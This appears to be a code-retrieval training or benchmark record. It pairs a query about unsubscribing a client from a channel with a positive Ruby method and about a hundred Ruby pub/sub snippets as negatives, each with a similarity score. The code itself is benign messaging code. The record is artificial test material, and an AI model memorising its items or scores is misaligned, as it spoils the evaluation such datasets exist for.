"def publish( channel, message )\n # Check we are not publishing to a wildcard channel\n STDERR.puts 'Can\\'t publish to a wildcard channel!' if is_channel_wildcard?(channel)\n @client.publish(channel, message)\n end",
"def send_data( data )\n raise \"channel not open\" unless @state == :open\n @channel.send_data data\n end",
"def publish(conn, verb, payload)\n conn.publish(CHANNEL, Marshal.dump(Message.new(verb, payload)))\n end",
"def publish(message)\n logger.debug \"Publishing #{message.inspect} directly to #{self.name}\"\n Publisher.publish(@clients.values, message, :type => \"channel\", :channel => self.name)\n end",
"def publish(type, data = nil)\n raise \"implement!\"\n end",
"def publish(*args, &blk)\n (@client ||= connect).publish(*args, &blk)\n end",
"def publish(*args, &blk)\n (@client ||= connect).publish(*args, &blk)\n end",
"def publish_channel\n @publish_channel ||= ::AMQP::Channel.new(connection)\n end",
"def publish(channel, message)\n super(channel, MultiJson.encode(message))\n end",
"def publish(args)\n ## Fail if bad input.\n if !(args['channel'] && args['message'])\n puts('Missing Channel or Message')\n return false\n end\n\n ## Capture User Input\n channel = args['channel']\n message = args['message']\n\n #encryption of message\n if @cipher_key.length > 0\n pc=PubnubCrypto.new(@cipher_key)\n if message.is_a? Array\n message=pc.encryptArray(message)\n else\n message=pc.encryptObject(message)\n end\n else\n message = args['message'].to_json();\n end\n\n ## Sign message using HMAC\n String signature = '0'\n if @secret_key.length > 0\n signature = \"{@publish_key,@subscribe_key,@secret_key,channel,message}\"\n digest = OpenSSL::Digest.new(\"sha256\")\n key = [ @secret_key ]\n hmac = OpenSSL::HMAC.hexdigest(digest, key.pack(\"H*\"), signature)\n signature = hmac\n end\n\n ## Send Message\n return _request([\n 'publish',\n @publish_key,\n @subscribe_key,\n signature,\n channel,\n '0',\n message\n ])\n end",
"def publish(data, opts = {})\n exchange.publish(data, opts.merge(:routing_key => self.name))\n end",
"def publish_for search, data\n each_channels_of search do |channel|\n channel.transmit format(data)\n rescue Errno::ECONNREFUSED, Net::OpenTimeout, SocketError => e\n Rails.logger.info \"Establishing TCP connection to #{channel} failed. Error: #{e.inspect}\"\n end\n end",
"def publish(payload)\n @provider_queue.publish(payload)\n end",
"def send\n @sent_at = Time.now\n sender.publish(data, meta)\n self\n end",
"def receive_data(data)\n @write_to_channel << data\n end",
"def publish(*args)\n provider.publish(*args)\n end",
"def publish(channel, message)\n node_for(channel).publish(channel, message)\n end",
"def publish\n end",
"def publish\n end",
"def publish\n end",
"def publish_message\n $redis.publish \"chat\", format_for_publish\n end",
"def publish(channel, event, &block)\n FayeMessage.new.publish(event, channel, capture(&block))\n end",
"def _publish\n puts(\"pushing message: #{self.to_json} to queue #{@queue}\")\n AMQPCli.instance.push(self.to_json, @queue)\n end",
"def publish message, root\n puts \"message: #{message.inspect}\"\n puts \"text: #{message['text']}\"\n @messages.shift if @messages.size == @@MAX_MESSAGES \n @messages << { 'head' => '?', 'text' => message[ 'text' ] }\n\n root[ @@CHAT_CHANNEL ] = @messages\n\n [ true, 200 ]\n end",
"def publish(payload, opts = {})\n @channel.default_exchange.publish(payload, opts.merge(:routing_key => @name))\n\n self\n end",
"def publish_directly\n publish!\n end",
"def subscribe(data)\n # @channels (local tracker)\n # push channel name into subscribe list, if and only if not already in subscribe list\n end",
"def publish(node, message, host, &block)\n pubsub.publish(node, message, host, &callback_logging(__method__, node, message.operation, &block))\n end",
"def write(data)\n #@sock.write(data)\n\tputs \"channel data: #{str2hex(data)}\"\n end",
"def publish(stream, event_name, data)\n stream = stream_name(stream)\n connection.xadd(stream, { \"#{event_name}\": data })\n end",
"def publish message, &block\n if @channel == \"*\"\n raise ShoveException.new(\"Cannot publish to *\")\n elsif message.size > 2048\n raise ShoveException.new(\"Max message size is 2 KiB\")\n end\n @app.request(\"publish?channel=#{@channel}\").post(message, &block)\n end",
"def publish data, attributes = {}\n @messages << [data, attributes]\n end",
"def publish(message, channels)\n @server.debug 'Publishing message ?', message\n\n clients = Set.new\n channels.each do |channel|\n @channels.get(channel).each(&clients.method(:add))\n end\n\n clients.each do |client_id|\n @server.debug 'Queueing for client ?: ?', client_id, message\n @messages.put(client_id, MultiJson.dump(message))\n @events.publish(\"message:#{client_id}\")\n client_exists(client_id) do |exists|\n @messages.remove(client_id) unless exists\n end\n end\n\n @server.trigger(\n :publish,\n *message.values_at('clientId', 'channel', 'data')\n )\n end",
"def publish(data = {})\n assign_properties(data)\n\n self\n end",
"def subscribe(channel, data = {})\n log_to_file(\"#{self.class} tries to subscribe to channel #{channel} with #{data.inspect}\")\n send_action('subscribe', channel, data)\n end",
"def publish(args)\n ## Fail if bad input.\n if !(args['channel'] && args['message'])\n puts('Missing Channel or Message')\n return false\n end\n\n ## Capture User Input\n channel = args['channel']\n message = args['message'].to_json\n\n ## Sign Message\n if !@secret_key\n @secret_key = ''\n end\n signature = @secret_key.length > 0 ? Digest::MD5.hexdigest([\n @publish_key,\n @subscribe_key,\n @secret_key,\n channel,\n message\n ].join('/')) : '0'\n\n ## Fail if message too long.\n if message.length > @limit\n puts('Message TOO LONG (' + @limit.to_s + ' LIMIT)')\n return [ 0, 'Message Too Long.' ]\n end\n\n ## Send Message\n return self._request([\n 'publish',\n @publish_key,\n @subscribe_key,\n signature,\n channel,\n '0',\n message\n ])\n end",
"def publish( message )\n raise NotImplementedError, \"please implement 'publish'\"\n end",
"def publish(connection)\n #\t4. Communication session\n channel = connection.create_channel\n # 5 Declare queue\n channel.queue(DELAYED_QUEUE, arguments: { \"x-dead-letter-exchange\" => \"\", \"x-dead-letter-routing-key\" => DESTINATION_QUEUE, \"x-message-ttl\" => 300000})\n\n # 6. Publish a message\n channel.default_exchange.publish \"message content\", routing_key:\n DELAYED_QUEUE\n puts \"#{Time.now}: Published the message\"\n channel.close\nend",
"def apush\n socket = EM::Synchrony::TCPSocket.new('localhost', 22195)\n socket.write(to_bytes)\n socket.close\n end",
"def publish(item_payload,item_id=nil,*entry_args)\n params = {}\n params['id'] = item_id if item_id\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('publish',{:node => node_id},\n x('item',params,\n if item_payload\n item_payload\n else\n x('entry',*entry_args)\n end\n )\n )\n )\n )\n\n send_iq_stanza_fibered iq\n end",
"def publish_data(klass, data, action, headers: {})\n info = { klass: klass.to_s, action: action.to_sym, mode: :klass }\n log(\"Building payload for: #{info.inspect}\") if config.debug\n payload = PubSubModelSync::Payload.new(data, info, headers)\n define_transaction_key(payload)\n publish(payload)\n end",
"def pubsub; end",
"def publish(event, payload)\n end",
"def publish( message )\n subscribers.each do |name, subscriber|\n subscriber.produce( message )\n end\n end",
"def publish!\r\n publish\r\n save!\r\n end",
"def publish_to_feed(key, msg)\n event = Chronologic::Event.new(\n key: key,\n data: { type: \"message\", message: \"#{msg}\"},\n timelines: [\"group:#{self.group.id}\", \"project:#{self.id}\"],\n objects: { group: \"group:#{self.group.id}\", project: \"project:#{self.id}\" }\n )\n $feed.publish(event, true, Time.now.utc.tv_sec)\n end",
"def testPublish1()\n topic = \"_Publish1_\"\n conn = Scalaris::PubSub.new()\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n conn.publish(@testTime.to_s + topic + i.to_s, $_TEST_DATA[i])\n end\n \n conn.close_connection()\n end",
"def publish(message)\n # TODO: queue name and configuration should be in a config file\n @out_exchange.publish(message, :persistent => true, :key => \"esperfooin\", :mandatory => true)\n end",
"def subscribe(channel, *channels, &block); end",
"def write(msg)\n redis.publish('subduino', msg)\n end",
"def receive_data(data)\n log \"<< #{data.size}\"\n @write_to_channel << data\n end",
"def publish(payload, routing_key = AMQ::Protocol::EMPTY_STRING, user_headers = {}, mandatory = false, immediate = false, frame_size = nil)\n headers = { :priority => 0, :delivery_mode => 2, :content_type => \"application/octet-stream\" }.merge(user_headers)\n @client.send_frameset(Protocol::Basic::Publish.encode(@channel.id, payload, headers, @name, routing_key, mandatory, immediate, (frame_size || @client.connection.frame_max)))\n\n self\n end",
"def publish(message, destination, code = nil, &blk)\n payload, sender = Gilmour::Protocol.create_request(message, code)\n send(sender, destination, payload, &blk)\n end",
"def publishack(channel, data, ack)\n @ws.send(get_publish_object(channel, data, increment_cnt).to_json)\n @acks[@cnt] = [channel, ack]\n end",
"def publish!\n publish\n save\n end",
"def publish!\n raise 'Not implemented!'\n end",
"def handle_publish(client, data)\n topic_uri, payload, exclude, include = data\n\n @engine.create_event(client, topic_uri, payload, exclude, include)\n\n trigger(:publish, client, topic_uri, payload, exclude, include)\n end",
"def sends_data(data)\n script.sends_channel_data(self, data)\n end",
"def enqueue(payload)\n @queue.publish(payload.encode, :persistent => true)\n end",
"def publish(payload, options)\n options[:persistent] = true\n exchange.publish(payload, options)\n end",
"def publish\n self.push_message_to_client\n update_attribute(:number, self.number+1)\n end",
"def send_extended_data( type, data )\n raise \"channel not open\" unless @state == :open\n @channel.send_extended_data type, data\n end",
"def trigger_instant_notification(key, data)\n PubSub::Publisher.new.publish_to(public_key, key, data)\n end",
"def publish_to_socket(params)\n message = params.to_json\n data = \"~m~#{message.length}~m~#{message}\"\n @socket.send(data)\n end",
"def publish(*args, &block)\n Register.publish(*args, &block)\n end",
"def broadcast_to_channel(channel)\n\t\tmessage = { :channel => channel, :data => channel }.to_json\n\t\turi = URI.parse(PUSH_SERVER)\n\t\tNet::HTTP.post_form(uri, :message => message)\n\tend",
"def publish(*args)\n Iodine.publish *args\n end",
"def send_channel(message)\n @handler.send_channel message\n end",
"def publish(topic, payload, retain=false, qos=0)\n # Defer publishing until we are connected\n callback do\n send_packet(\n MQTT::Packet::Publish.new(\n :qos => qos,\n :retain => retain,\n :topic => topic,\n :payload => payload,\n :message_id => @message_id.next\n )\n )\n end\n end",
"def publish(video_id)\r\n if @count[video_id] < 100 && @push_msgs < 20 # videos with under 100 plays\r\n # publish to client immediately\r\n # HOW DO I ACCOUNT FOR THE TIME STAMP???\r\n # AM I SUPPOSED TO ALWAYS BE PRINTING 20 PLAYS REGARDLESS???\r\n puts \"video #{video_id} has #{count[video_id]} plays.\"\r\n elsif @push_msgs.length < 20 # storing up to 20 videos with over 100 plays\r\n @push_msgs[video_id] = @count[video_id]\r\n else # publish to the client\r\n # MOST RECENT 20 VIDEOS???\r\n # HOW DO I DO THIS???\r\n end\r\n end",
"def sendMsg(msg)\r\n @pubNub.publish(:message => msg, :channel => @channel, :http_sync => true)\r\n end",
"def publish(event_name, data = nil)\n @logger.info \"[#{event_name}] #{data[:key]}\"\n end",
"def publish!(payload, &block)\n add_transaction_headers(payload)\n return unless ensure_publish(payload)\n\n current_transaction ? current_transaction.add_payload(payload) : connector_publish(payload)\n block&.call\n payload\n rescue => e\n print_error(e, payload)\n raise\n end",
"def publish\n leaderboard_params = $redis.get \"leaderboard\"\n ActionCable.server.broadcast(\"leaderboard_channel\", leaderboard_params)\n end",
"def testPublish2()\n topic = \"_Publish2\"\n conn = Scalaris::PubSub.new()\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n conn.publish(@testTime.to_s + topic, $_TEST_DATA[i])\n end\n \n conn.close_connection()\n end",
"def publish(message_name, data=nil, opts={})\n message_name = validated_message_name(message_name)\n publisher.publish(message_name, data, opts)\n end",
"def data_channel_open\n puts \"Data channel open!\"\n data_channel = $$.data_channel\n # send_message(\"ALIVE\")\nend"
] |
[
"0.84043056",
"0.82010657",
"0.81019866",
"0.80586153",
"0.80376184",
"0.7995907",
"0.79003143",
"0.79003143",
"0.7818992",
"0.7472918",
"0.7419547",
"0.7326863",
"0.73206365",
"0.7292828",
"0.7282665",
"0.72237986",
"0.719854",
"0.70937556",
"0.7073669",
"0.70231277",
"0.6999576",
"0.69766206",
"0.6972012",
"0.6890673",
"0.68295336",
"0.68263847",
"0.68174267",
"0.6798481",
"0.6798394",
"0.6798394",
"0.6766525",
"0.6714573",
"0.6674666",
"0.6661996",
"0.6660013",
"0.6658022",
"0.6657292",
"0.66348475",
"0.6632816",
"0.66043043",
"0.6563407",
"0.6563407",
"0.6563407",
"0.6563184",
"0.6559876",
"0.6545149",
"0.6527002",
"0.6523739",
"0.65175176",
"0.6512227",
"0.65095186",
"0.6499752",
"0.6486257",
"0.64821476",
"0.646453",
"0.64633894",
"0.646056",
"0.64400625",
"0.64235866",
"0.6415266",
"0.6388769",
"0.63703054",
"0.6355986",
"0.635398",
"0.63416666",
"0.63395625",
"0.6322895",
"0.6314169",
"0.6309999",
"0.63077176",
"0.6285651",
"0.6285362",
"0.6267888",
"0.62528056",
"0.624784",
"0.6241717",
"0.62397546",
"0.62316096",
"0.6228449",
"0.6224747",
"0.622442",
"0.62141156",
"0.6210319",
"0.6205548",
"0.6201542",
"0.6192379",
"0.6174382",
"0.617176",
"0.61653674",
"0.6157176",
"0.6147175",
"0.6145278",
"0.6144375",
"0.61414117",
"0.61378884",
"0.61286885",
"0.61245525",
"0.61244446",
"0.6122519",
"0.6114694"
] |
0.8230917
|
1
|
unsubscribes current client from a channel
|
def unsubscribe(channel)
send_action('unsubscribe', channel)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def unsubscribe_from_channel; end",
"def unsubscribe_clients(channel)\n send_action('unsubscribe_clients', channel)\n end",
"def unsubscribe_from_channel # :nodoc:\n run_callbacks :unsubscribe do\n unsubscribed\n end\n end",
"def unsubscribe\n check_subscribed!\n subscription.unsubscribe_from_channel\n end",
"def unsubscribe\n @conn.send_data :opcode => UNSUBSCRIBE, :channel => @name\n end",
"def unsubscribe(*args)\n (@client ||= connect).unsubscribe(*args)\n end",
"def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n stop_all_streams\n end",
"def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n stop_all_streams\n end",
"def unsubscribe(channel)\n @ws.send(get_unsubscribe_object(channel, increment_cnt).to_json)\n @channels.delete(channel)\n end",
"def unsubscribe\n redis.unsubscribe\n end",
"def unsubscribe(client_id, channel, &callback)\n unless @subscriptions.containsEntry(client_id, channel)\n callback.call(true) if callback\n return\n end\n @subscriptions.remove(client_id, channel)\n @channels.remove(channel, client_id)\n @server.debug 'Unsubscribed client ? from channel ?', client_id, channel\n @server.trigger(:unsubscribe, client_id, channel)\n callback.call(true)\n end",
"def unsubscribe(user)\n @clients.delete(user.signature)\n self.class.remove_channel(self) if empty?\n end",
"def unsubscribe_webhook\n if @redis\n @redis.pubsub.unsubscribe(subscribed_channel)\n @redis.close_connection\n end\n end",
"def unsubscribe\n return if self.hub.nil?\n\n change_subscription(:unsubscribe)\n end",
"def unsubscribe(channel, connection)\n if sid = subscriptions.delete(channel => connection.signature)\n Channel[app_id => channel].unsubscribe(sid)\n end\n end",
"def unsubscribe( channel, callback )\n if @channels.include? channel\n @channels[channel].delete(callback)\n end\n if @channels[channel].empty?\n @client.unsubscribe channel\n @channels.delete(channel)\n end\n end",
"def unsubscribe(*channels); end",
"def unsubscribed\n end",
"def unsubscribed\n end",
"def unsubscribe()\n end",
"def unsubscribed\n if current_user.is_a?(User)\n\n # if @userType == \"known\"\n ActionCable.server.broadcast \"AppearanceChannel\", { user: current_user.email, user_id: current_user.id, online: :off }\n # else\n # reject\n end\n # stop_all_streams\n # Any cleanup needed when channel is unsubscribed\n end",
"def disconnect(channel)\r\n $LOG.info(\"Disconnecting from #{channel} channel.\")\r\n @pubNub.unsubscribe(\r\n :channel => @channel,\r\n :http_sync => true\r\n )\r\n end",
"def unsubscribe; end",
"def punsubscribe(*channels); end",
"def unsubscribed\n\tend",
"def unsubscribed\n # This will broadcast that user unsubscribed but the frontend will not receive the final broadcast\n p '**** ChatChannel unsubscribed'\n notification = {notification: 'User X has dropped off'}\n # ActionCable.server.broadcast(params[:room], notification)\n send_broadcast(params[:room], notification)\n end",
"def unsubscribe\n end",
"def unsubscribed # :doc:\n # Override in subclasses\n end",
"def unsubscribe!\n @consumer.try(:cancel)\n @consumer = nil\n end",
"def unsubscribe(source)\n Log.debug(\"Unsubscribing from #{source}\")\n @connection.unsubscribe(source)\n @subscriptions.delete(source)\n end",
"def disconnect\n @thread.exit\n @client.disconnect\n @channels.clear\n end",
"def unsubscribe()\n \n end",
"def unsubscribe(course)\n subscribeds.delete(course)\n end",
"def unsubscribed; end",
"def unsubscribe(message, local = false, &callback)\n response = make_response(message)\n client_id = message['clientId']\n subscription = [message['subscription']].flatten\n\n @engine.client_exists(client_id) do |exists|\n response['error'] = Error.client_unknown(client_id) unless exists\n response['error'] = Error.parameter_missing('clientId') if client_id.nil?\n response['error'] = Error.parameter_missing('subscription') if message['subscription'].nil?\n\n response['subscription'] = message['subscription'] || []\n\n subscription.each do |channel|\n next if response['error']\n response['error'] = Error.channel_forbidden(channel) unless local or Channel.subscribable?(channel)\n response['error'] = Error.channel_invalid(channel) unless Channel.valid?(channel)\n\n next if response['error']\n @engine.unsubscribe(client_id, channel)\n end\n\n response['successful'] = response['error'].nil?\n callback.call(response)\n end\n end",
"def unsubscribed\n @room.remove_user(current_user)\n\n # Inform the other players that this player has left.\n broadcast_users_changed\n end",
"def unsubscribe\n @entry.subscribers.delete(current_user)\n end",
"def unsubscribed\n User.find(current_user.id).update(online: false)\n ActionCable.server.broadcast(\n 'appearance_channel',\n user_id: current_user.id,\n is_online: false\n )\n end",
"def unsubscribe\n raise UnsubscribedError\n end",
"def unsubscribeack(channel, ack)\n @ws.send(get_unsubscribe_object(channel, increment_cnt).to_json)\n @channels.delete(channel)\n @acks[@cnt] = [channel, ack]\n end",
"def unsubscribe\n old = nil\n @gate.synchronize do\n unless @unsubscribed\n @unsubscribed = true\n old = @current\n @current = nil\n end\n end\n\n old.unsubscribe if old\n end",
"def unsubscribed\n stop_all_streams\n end",
"def handle_unsubscribe(client, data)\n topic = @engine.unsubscribe_client_from_topic(client, data[0])\n\n trigger(:unsubscribe, client, topic.uri)\n end",
"def unsubscribe\n @subscription_reference.unsubscribe\n end",
"def unsubscribe(*channels)\n _subscription(:unsubscribe, 0, channels, nil)\n end",
"def unsubscribe!\n message_class = whoami\n\n debug_me{[ :message_class ]}\n\n broker.unsubscribe!(message_class) if broker_configured?\n end",
"def unsubscribe\n unregister\n end",
"def unsubscribe(host)\n pubsub.subscriptions(host) do |m|\n m[:subscribed] && m[:subscribed].each do |s|\n pubsub.unsubscribe(s[:node], nil, s[:subid], host, &callback_logging(__method__, s[:node], s[:subid]))\n end\n end\n end",
"def unsubscribe(source)\n #TODO\n end",
"def unsubscribe(topic, channel)\n name = \"#{topic}:#{channel}\"\n @subscriber_mutex.synchronize do\n subscriber = @subscribers[name]\n return unless subscriber\n subscriber.stop\n @subscribers.delete(name)\n end\n end",
"def unsubscribe_client(client)\n cursor = parse \"BEGIN msf.acm_utils.manage_tocs(:publication, :cno, :action, :email, :cur_status, :status_dt, :r_str); end;\"\n cursor.bind_param ':cno', client.to_s\n cursor.bind_param ':email', nil, String, 64\n cursor.bind_param ':action', 'DEL'\n exec cursor do\n cursor[':r_str'] == 'Ok'\n end\n end",
"def unsubscribed\n @chatroom = Chatroom.find(params[:id])\n @chatroom.unsubscribe()\n end",
"def delete_observers\n @sub_lock.synchronize { subscribers.delete channel }\n end",
"def unsubscrible\n NewsletterMailer.unsubscrible\n end",
"def unsubscribe(&blk)\n pres = connection.presence_stanza('to'=>jid.bare, 'type' => 'unsubscribe')\n connection.send_stanza pres, &blk\n end",
"def close\n subscriptions.keys.each do |id| \n channel, sig = id.to_a.flatten\n Channel[app_id => channel].unsubscribe(subscriptions.delete(channel => sig))\n end\n end",
"def unsubscribe(client_id, channel_symbols, options = {})\n channel_symbols = [channel_symbols] unless channel_symbols.is_a? Array\n\n channel_subscriber_ids = []\n subscriptions_hash = @channel_subscriptions[client_id] ||= {}\n\n unless (channel_symbols & [ALL_CHANNELS_SHORTCUT.to_s]).empty? && (channel_symbols & [ALL_CHANNELS_SHORTCUT.to_sym]).empty?\n # If :_all_ (symbol) or '_all_' (string) is given as channel_symbols...\n channel_symbols = subscriptions_hash.keys\n end\n\n channel_symbols.each do |channel_symbol|\n channel_symbol = channel_symbol.to_sym\n if !subscriptions_hash[channel_symbol].nil?\n # Only if the client is subscribed...\n\n channel_subscriber_id = subscriptions_hash[channel_symbol]\n @channels[channel_symbol].unsubscribe(channel_subscriber_id)\n subscriptions_hash.delete(channel_symbol)\n @channel_subscribers[channel_symbol].delete(client_id)\n channel_subscriber_ids << channel_subscriber_id\n\n # Must also be sent to the client directly (via web socket) in order that it receives the unsubscribe notification...\n notify(:type => :debug, :code => 2020, :receivers => [@qsif[:client_manager].web_socket(:client_id => client_id), @channels[channel_symbol]], :params => {:client_id => client_id, :channel_symbol => channel_symbol.to_s, :channel_subscriber_id => channel_subscriber_id})\n else\n notify(:type => :error, :code => 2021, :receivers => @qsif[:client_manager].web_socket(:client_id => client_id), :params => {:client_id => client_id, :channel_symbol => channel_symbol.to_s})\n end\n end\n\n return channel_subscriber_ids\n end",
"def unsubscribe\n if @subscriber\n @subscriber.stream.close\n @subscriber = nil\n end\n end",
"def unsubscribe(subscribable)\n subscribable.unsubscribe(self)\n end",
"def unsubscribe(object)\n subscriptions.delete(remote_object(object))\n end",
"def unsubscribe(message_hsh)\n # sender = message_hsh[:sender]\n # runr_data_set_get(sender)\n end",
"def unsubscribe\n subscription = nil\n @gate.synchronize do\n if @subscription\n unless @primary_unsubscribed\n @primary_unsubscribed = true\n\n if @count == 0\n subscription = @subscription\n @subscription = nil\n end\n end\n end\n end\n\n subscription.unsubscribe if subscription\n end",
"def unsubscribe\n CampaignMonitorWrapper.unsubscribe(user.email)\n end",
"def unsubscribe(opts = {})\n\t\t\t# Default consumer_tag from subscription if not passed in\n\t\t\tconsumer_tag = subscription ? subscription.consumer_tag : opts[:consumer_tag]\n\t\t\t\n\t\t\t# Must have consumer tag to tell server what to unsubscribe\n\t\t\traise Bunny::UnsubscribeError,\n\t\t\t\t\"No consumer tag received\" if !consumer_tag\n\t\t\t\n # Cancel consumer\n client.send_frame( Qrack::Protocol09::Basic::Cancel.new(:consumer_tag => consumer_tag,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t:nowait => false))\n\n\t\t\tmethod = client.next_method\n\n\t\t\tclient.check_response(method,\tQrack::Protocol09::Basic::CancelOk,\n\t\t\t\t\"Error unsubscribing from queue #{name}\")\n\n\t\t\t# Reset subscription\n\t\t\t@subscription = nil\n\t\t\t\t\n\t\t\t# Return confirmation\n\t\t\t:unsubscribe_ok\n\t\t\t\n end",
"def cleanup_after_unsubscribe(channel)\n return if channel.listeners_count > 0\n logger.debug \"destroying channel #{channel.name}\"\n @channels.delete channel.name\n stat_channel_destroyed channel.name\n destroy if @channels.size == 0\n end",
"def unsubscribe\n subscriptions.values.each(&:unsubscribe)\n @on_unsubscribe.call(self) if @on_unsubscribe\n end",
"def punsubscribe(*channels)\n _subscription(:punsubscribe, 0, channels, nil)\n end",
"def unsubscribe(*channels)\n raise SubscriptionError, \"Can't unsubscribe if not subscribed.\" unless subscribed?\n\n @subscribed_node.unsubscribe(*channels)\n end",
"def punsubscribe(*channels)\n raise NotImplementedError\n end",
"def unsubscribe(cls)\n @subscribers.delete(name)\n end",
"def unsubscribes(options={})\n Resources::Unsubscribes.new(self, options)\n end",
"def unsubscribe\n synchronize do\n stan.nats.unsubscribe(self.sid)\n end\n\n # Make client stop tracking the subscription inbox\n # and grab unsub request subject under the lock.\n unsub_subject = nil\n stan.synchronize do\n stan.sub_map.delete(self.ack_inbox)\n unsub_subject = stan.unsub_req_subject\n end\n\n unsub_req = STAN::Protocol::UnsubscribeRequest.new({\n clientID: stan.client_id,\n subject: self.subject,\n inbox: self.ack_inbox\n })\n\n if self.durable_name\n unsub_req.durableName = self.durable_name\n end\n\n raw = stan.nats.request(unsub_subject, unsub_req.to_proto, {\n timeout: stan.options[:connect_timeout]\n })\n response = STAN::Protocol::SubscriptionResponse.decode(raw.data)\n unless response.error.empty?\n # FIXME: Error handling on unsubscribe\n raise Error.new(response.error)\n end\n end",
"def unsubscribe(ident)\n @subscribers.delete(ident)\n end",
"def unsubscribe(aSubscriber)\n subscribers.delete_if { |entry| entry == aSubscriber }\n end",
"def unsubscribe!\n self.type = :unsubscribe\n reply_if_needed!\n end",
"def unsubscribe_from(topic)\n subscriptions.find_by_topic_id(topic.id).try(:destroy)\n end",
"def unsubscribe(event)\n has_subscriptions.find_by(subscribed_id: event.id).destroy\n end",
"def cancel!\n self.type = :unsubscribed\n reply_if_needed!\n end",
"def remove_client(client)\n session_id = @connections[:clients].key(client)\n @connections[:clients].delete(session_id)\n bixsby_print \"Client #{client.peeraddr.last} disconnected.\" \n end",
"def unsubscribeTo (event)\r\n @subscribedEvents.delete?(event)\r\n end",
"def unsubscribe(msg)\n false\n end",
"def unsubscribe\n @subscription.unsubscribe\n return_back_or_ajax\n end",
"def unsubscribe(name)\n id = @subs[name]\n\n self.send(msg: 'unsub', id: id)\n end",
"def unsubscribe_client_id(*args)\n raise_unsupported\n end",
"def unsubscribe_subscriber(id)\n delete_json(\"#{endpoint}/subscribers/#{uri_encode(id)}\")\n end",
"def unsubscribe_subscriber(id)\n delete_json(\"#{endpoint}/subscribers/#{uri_encode(id)}\")\n end",
"def unsubscribe(channels_string)\n channels = channels_string.split\n\n channels.each do |channel|\n queue_name = @subscriptions[channel]\n \n if queue_name\n queue = @session.queue(queue_name)\n if queue.exists?\n queue.unbind(@exchange, routing_key: \"#{channel}.*\")\n queue.unsubscribe\n @subscriptions.delete(channel)\n else\n puts \"The #{channel} channel does not exist.\"\n end\n end\n end\n end",
"def unsubscribe(opts = {})\n # Default consumer_tag from subscription if not passed in\n consumer_tag = @default_consumer ? @default_consumer.consumer_tag : opts[:consumer_tag]\n\n # Must have consumer tag to tell server what to unsubscribe\n raise Bunny::UnsubscribeError,\n \"No consumer tag received\" if !consumer_tag\n\n # Cancel consumer\n client.send_frame(Qrack::Protocol::Basic::Cancel.new(:consumer_tag => consumer_tag, :nowait => false))\n\n # Reset subscription\n @default_consumer = nil\n\n method = client.next_method\n\n client.check_response(method, Qrack::Protocol::Basic::CancelOk, \"Error unsubscribing from queue #{name}, got #{method.class}\")\n\n # Return confirmation\n :unsubscribe_ok\n end",
"def unsubscribe(feed)\n SubscriptionsManager.remove_subscription feed, self\n end",
"def unsubscribe_from_notifications(client, collection)\n mirror = client.discovered_api('mirror', 'v1')\n result = client.execute(\n :api_method => mirror.subscriptions.delete,\n :parameters => { 'id' => collection })\n if result.error?\n puts \"An error occurred: #{result.data['error']['message']}\"\n end\n end",
"def close_topic\n puts \"#{self.class} #{@my_hostname} unsubscribing #{self.topic}\"\n self.conn.unsubscribe self.topic if self.conn!=nil\n end",
"def unsubscribe(opt_max=nil)\n @nc.send(:unsubscribe, self, opt_max)\n end",
"def remove_channel( channel )\n @channel_map.delete channel.local_id\n end",
"def unsubscribe( publication )\n subscriptions.by_publication( publication ).delete_all\n end",
"def unsubscribed\n @attributes[:unsubscribed]\n end",
"def unsubscribed\n puts \"#{current_user.displayname} left!\"\n end",
"def unbind\n client = $clients_list.delete(self.object_id)\n \n $clients_list.values.each do |c|\n send_client_disconnect(c, client) if c.socket != self\n end\n \n end",
"def destroy_client(client_id, &callback)\n @connected.delete(client_id)\n @subscriptions.remove(client_id).each do |channel|\n @channels.remove(channel, client_id)\n end\n @messages.remove(client_id)\n @server.debug 'Destroyed client ?', client_id\n @server.trigger(:disconnect, client_id)\n @events.publish(\"disconnect:#{client_id}\")\n callback.call if callback\n end",
"def unsubscribe(topic, callback)\n options = {\n :\"hub.mode\" => \"unsubscribe\",\n :\"hub.topic\" => topic,\n :\"hub.callback\" => callback,\n }\n post(\"/hub\", options, 3, true, true, true)\n true\n end",
"def unsubscribe(endpoint, channel_name, subscription_id)\n channel = @channels[channel_name]\n if channel\n channel.unsubscribe(subscription_id)\n EM.next_tick { cleanup_after_unsubscribe channel }\n # Fire presence events if configured\n if @app_info['presence']\n EM.defer { fire_presence_close_events endpoint, channel }\n end\n\n else\n logger.debug \"Trying to unsubscribe for an inexistant channel #{channel_name}\"\n end\n end"
] |
[
"0.8092683",
"0.79990596",
"0.7920888",
"0.7843475",
"0.76694816",
"0.75097483",
"0.7467353",
"0.7467353",
"0.7346723",
"0.7248031",
"0.7246957",
"0.72377366",
"0.71406513",
"0.71259797",
"0.70814955",
"0.7068814",
"0.705975",
"0.70401657",
"0.70401657",
"0.70354986",
"0.7020198",
"0.69842666",
"0.695645",
"0.69474554",
"0.692651",
"0.6913075",
"0.6879896",
"0.6866711",
"0.6831924",
"0.6818668",
"0.6811761",
"0.6808349",
"0.67634547",
"0.6756022",
"0.6752302",
"0.6744911",
"0.67447394",
"0.6691212",
"0.6681212",
"0.667137",
"0.6651486",
"0.6648804",
"0.66485584",
"0.66293234",
"0.66228104",
"0.66207445",
"0.6587815",
"0.65815026",
"0.6577185",
"0.65763533",
"0.652807",
"0.6513625",
"0.6494411",
"0.6485765",
"0.6474948",
"0.6467138",
"0.6465082",
"0.6457879",
"0.6455274",
"0.6448636",
"0.64272416",
"0.64144903",
"0.6401245",
"0.63867",
"0.63853896",
"0.6370207",
"0.63696945",
"0.6365393",
"0.63644964",
"0.63643944",
"0.6316328",
"0.63133276",
"0.63111335",
"0.62895864",
"0.6284733",
"0.6250874",
"0.62432015",
"0.6225829",
"0.62117475",
"0.61816645",
"0.6180043",
"0.61509824",
"0.61500067",
"0.6148805",
"0.61420494",
"0.61420494",
"0.613916",
"0.6136199",
"0.6134866",
"0.6125146",
"0.61030614",
"0.60783345",
"0.6077684",
"0.60356194",
"0.60322994",
"0.59970677",
"0.5996543",
"0.599297",
"0.59819704",
"0.5979935"
] |
0.72944313
|
9
|
